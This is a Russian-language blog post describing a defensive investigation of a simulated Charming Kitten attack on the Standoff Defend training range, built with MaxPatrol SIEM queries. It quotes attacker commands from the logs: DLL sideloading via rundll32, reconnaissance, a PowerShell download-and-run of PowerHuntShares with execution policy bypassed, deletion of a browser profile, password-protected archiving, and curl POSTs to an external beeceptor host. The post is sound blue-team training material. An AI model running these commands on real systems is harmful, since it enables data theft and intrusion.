- PVSM.RU - https://www.pvsm.ru -
Всем привет! Недавно закрылось расследование атаки APT-группировки Charming Kitten с онлайн марафона, который проходил на онлайн-полигоне Standoff Defend [1], созданный для тренировки синих команд. Сейчас я бы хотел показать решение и полную цепочку, которую нужно было составить
Компания является ведущим поставщиком интегрированных IT-решений, которые позволяют клиентам эффективно реализовывать сложные проекты в сфере информационных технологий, учитывая особенности их отрасли. Именно эта компания подверглась атаке.
С полным описанием инфраструктуры компании вы можете познакомиться тут [2]
Ближневосточная кибергруппировка (предположительно, прогосударственная) смогла добраться до целевого устройства и провести тщательную разведку. Мы зафиксировали подозрительную активность на этапе коммуникации с управляющим сервером. Попробуйте разобраться, что удалось украсть преступникам.
Группировка часто эксплуатирует недавно обнаруженные уязвимости (N-day), такие как Log4j, в комплексных атаках. У нее есть несколько подгрупп, одна из которых — Nemesis Kitten (DEV-0270, Storm-0270)
Как провести расследование?
Нам дан MaxPatrol SIEM.
Форматы ввода:
Для IP-адреса: только цифры и точки (xxx.xxx.xxx.xxx [3]). Пример: 192.168.1.1, 10.0.0.25
Для FQDN (Fully Qualified Domain Name): доменное имя в формате host.example.com [4] (без http://, https:// или пробелов). Пример: server01.corp.local, proxy.company.org [5]
Стоит также познакомится с языком запросов, который используется в SIEM - это язык PDQL (Positive Data Query Language) [6]. А также изучить инструкцию по созданию отчета [7]
Вводные данные: В папке C:UsersPublic найден архив с названием Documents.7z. Есть подозрение, что кто-то проводил эксфильтрацию данных на рабочей станции tmorgan.bureau.stf.
Атака произошла 11.03.2025.
Для начала поставим нужное время в SIEM
Соберем данные:
папка и файл: C:UsersPublicDocuments.7z
рабочая ст��нция: tmorgan.bureau.stf (10.130.24.199)
скорее всего для разархивирования будет использован 7z
Строим первый запрос:
event_src.host = "tmorgan.bureau.stf" AND subject.process.name = "7z.exe" OR object.process.name = "7z.exe"
Первое, что мы находим это алерт 17:08:26 "User ptadmin started suspicious process 7z.exe on host tmorgan.bureau.stf"
Смотрим на артефакты и на таблицу заполнение отчета о расследовании атаки [8].
При выборе типа артефакта необходимо использовать таблицу приоритетов, приведенную ниже. Приоритетные типы расположены в верхней части таблицы, менее приоритетные — в нижней.
Первое что мы выделим это абсолютный путь (а именно с C:UsersPublicDocuments.7z), потому что ни URL, ни взаимодействия с реестром пока что не было, ip адрес мог быть если бы этот Documents.7z откуда-нибудь скачивался, но такого не было.
Рассмотрим поподробнее саму команду, которая стригерила 7z.exe (это будет полеobject.process.cmdline)
7z a -t7z -pp@ss -r0 C:UsersPublicDocuments.7z C:UsersPublicDocuments
Команда добавила в архив Documents.7z с паролем p@ss все файлы из директории C:UsersPublicDocuments
Пойдем более выше: рассмотрим подробнее команды, которые были выполнены над папкой Documents
event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "Documents"
Еще с первого запроса я заметил странный чейн (Цепочки порождения процессов [9]) у всех событий, так что я выделил это поле как отдельный столбец
Тщательнее рассмотрев события над папкой Documents, становиться ясно, что
16:17:11
cmd.exe ← rundll32.exe ← agent.exe: cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder
16:23:57
исполнение скрипт блоков powerhuntshares.psm1
17:08:26
cmd.exe ← rundll32.exe ← agent.exe: cmd.exe /c echo password: p@ss & 7z a -t7z -pp@ss -r0 %PUBLIC%Documents.7z %PUBLIC%Documents из которой получилось событие с чейном 7z.exe ← cmd.exe ← rundll32.exe ← agent.exe 7z a -t7z -pp@ss -r0 C:UsersPublicDocuments.7z C:UsersPublicDocuments
т.е. то, что мы нашли выше - это середина инцидента. Предположительно, все началось с какого-то процесса agent.exe. Нужно постепенно дойти до него.
Смотрим сначала, где у нас используется строка "agent"
event_src.host = "tmorgan.bureau.stf" AND object.process.cmdline contains "agent"
15:40:09 agent.exe исполняет команду rundll32.exe "C:Program FilesStandoffAgentarcher_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199
Видим, что используется инструмент Archer Toxic
Посмотрим еще более глобально с помощью фильтра "body contains" (на самом деле мой любимый фильтр, но с ним нужно быть осторожнее, потому что если событий много, то можно не дожаться отвата, а худшем случае положить сервер)
event_src.host = "tmorgan.bureau.stf" AND body contains "agent.exe"
Можем предположить, что agent.exe запустился примерно в 14:47:58, после чего rundll32.exe открыл соединение для злоумышленника.
Теперь пора выстроить всю цепочку действий
14:47:58 tcp конекты от agent.exe
15:40:08 Процесс agent.exe создал файл archer_toxic.windows_mhh1bcr.dll на хосте tmorgan.bureau.stf (c:program filesstandoffagentarcher_toxic.windows_mhh1bcr.dll)
15:40:09 видно использование инструмента archer toxicrundll32.exe "C:Program FilesStandoffAgentarcher_toxic.windows_mHh1BcR.dll",sideloading_dispatcher -t de6be34b-ea8a-4198-b3bf-14a91e5362a9 -c 10.130.24.199
15:40:10 старт tcp коннектов
15:45:50 исполнена команда cmd.exe /c whoami
15:50:31
cmd.exe /c net view & ping -n 1 8.8.8.8
15:50:31
net view
15:52:18
cmd.exe /C "net share > network_shares.txt"
net share16:00:59 cmd.exe /c hostname
16:17:11 cmd.exe /c dir & del /q Documents & cd Documents & mkdir NewFolder
16:23:51 попытка скачать и запустить скрипт powerhuntshares.psm1 на хосте tmorgan.bureau.stf powershell.exe -Command " Set-ExecutionPolicy -Scope Process Bypass -Force ; Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1' -OutFile PowerHuntShares.psm1 ; Import-Module .PowerHuntShares.psm1" ; Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:/temp/test
16:23:57 скриптблоки powerhuntshares.psm1 выполнены
16:39:43 обнаружена попытка запроса к реестру на хосте tmorgan.bureau.stf cmd.exe /c "reg query HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerTypedPaths > typed_paths.txt"
16:47:13 попытка запустить скрипт security_software_discovery.vbs на хосте tmorgan.bureau.stf cmd.exe /c cscript security_software_discovery.vbs
16:58:54 cmd.exe /c cd "%LOCALAPPDATA%GoogleChromeUser Data" & rd /s /q Default
17:08:21 процессagent.exe создал файл 7z.dll на хосте tmorgan.bureau.stf
17:08:26 Юзер ptadmin запустил процесс 7z.exe на хосте tmorgan.bureau.stf 7z a -t7z -pp@ss -r0 C:UsersPublicDocuments.7z C:UsersPublicDocuments+ процесс 7z.exe загрузил библитеку 7z.dll на хосте tmorgan.bureau.stf, Пользователь ptadmin запустил вредоносный код, разместив файл библиотеки 7z.dll рядом с легитимным приложением 7z.exe и запустив это приложение.
Попытка нарушения безопасности со стороны пользователя ptadmin, запустившего процесс rundll32.exe и создавшего файл 7z.dll на хосте tmorgan.bureau.stf.
17:19:06 cmd.exe /c curl -X POST -d "id=123" -d "command=get" https://testtest.free.beeceptor.com --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
17:19:09 IP-адреса для хоста testtest.free.beeceptor.com на хосте tmorgan.bureau.stf определен как 159.89.140.122
17:21:52 процесс agent.exe создал файл standard_encoding.ps1 на хосте tmorgan.bureau.stf
17:21:53 standard_encoding.ps1 выполнен
standard_encoding.ps117:21:55
IP-адреса для хостаstandardenc.free.beeceptor.com - 159.89.140.122
Несколько техник, которыми я воспользовался, чтобы выстроить всю цепочку:
Следование по чейну через id процессов
Здесь [10] и тут [11] более подробно по этой теме
Чейн процесса - это вещь вида "rundll32.exe ← agent.exe". Чаще всего она оставалась такой и хакер делал все свои действия из нее. При использовании какой-нибудь утилиты чейн расширялся. К примеру вот:
object.process.idЕсли мы нашли процесс только с чейном "hostname.exe ← cmd.exe ← rundll32.exe ← agent.exe",
object.process.idиobject.process.parent.idто смогли бы перейти к родительскому процессу, найдя object.process.parent.id:884. Потом просто создаем фильтр и получаем все команды, исполненные из родительского:
event_src.host = "tmorgan.bureau.stf" AND object.process.id = 884
каждая команда запускалась без -WindowStyle Hidden, поэтому она "прикреплялась" к еще одному процессу - созданию окна выполнения команды
conhost.exeХорошим советом будет пользоваться корреляцией
убираем tcp конекты, когда мешают с помощью object != "connection",
curl обращается в интернет, а это значит нельзя забывать про dns запросы при обращении на какие-то ресурсы (ip адрес как артефакт)
Пользоваться таблицей приоритетов
Сначала я думал что нужно выстраивать шаги с самого начала атаки, но потом разобрался, что подходит любой - главное чтобы он был правильным
Вполне себе неплохая атака из 12 шагов, подкрепил знания продукта MP SIEM от позитивов.
Также кому интересно у меня есть небольшой склад заметок в основном по вебу и форензике, но иногда и другим категориям с CTF. Чуть-чуть про багбаунти (надеюсь будет больше) - https://t.me/Fastyyy_bio [12]
Автор: Fastyyy
Источник [13]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/positive-technologies/442313
Ссылки в тексте:
[1] онлайн-полигоне Standoff Defend: https://defend.standoff365.com/
[2] тут: https://defend.standoff365.com/battle/31?section=report&tab=materials
[3] xxx.xxx.xxx.xxx: http://xxx.xxx.xxx.xxx
[4] host.example.com: http://host.example.com
[5] proxy.company.org: http://proxy.company.org
[6] PDQL (Positive Data Query Language): https://help.ptsecurity.com/ru-RU/projects/mp10/27.4/help/1500969483
[7] инструкцию по созданию отчета: https://help.standoff365.com/ru-RU/8820264715/portal
[8] таблицу заполнение отчета о расследовании атаки: https://help.standoff365.com/ru-RU/9107435147/portal
[9] Цепочки порождения процессов: https://help.ptsecurity.com/ru-RU/projects/mp10/26.0/help/4376760459
[10] Здесь: https://habr.com/ru/companies/pt/articles/719438
[11] тут: https://pt-corp.storage.yandexcloud.net/upload/corporate/ru-ru/webinars/ics/prezentaciya-rassledovanie-incidentov-s-maxpatrol-siem.pdf
[12] https://t.me/Fastyyy_bio: https://t.me/Fastyyy_bio
[13] Источник: https://habr.com/ru/articles/986696/?utm_source=habrahabr&utm_medium=rss&utm_campaign=986696
Нажмите здесь для печати.